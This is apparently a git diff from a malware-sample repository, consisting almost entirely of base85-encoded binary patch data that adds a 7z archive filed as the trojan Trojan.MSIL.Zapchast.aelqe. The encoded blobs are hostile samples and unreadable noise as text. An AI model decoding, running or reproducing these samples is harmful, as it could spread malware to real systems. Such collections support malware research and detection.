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 P1CZdm!9v^ik5B&x24=th literal 0 HcmV?d00001 diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast/Trojan.MSIL.Zapchast.aelqe.7z b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast/Trojan.MSIL.Zapchast.aelqe.7z new file mode 100644 index 0000000000000000000000000000000000000000..b4a973435584cbd135fa81eb4c968b900aee2730 GIT binary patch literal 18698 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 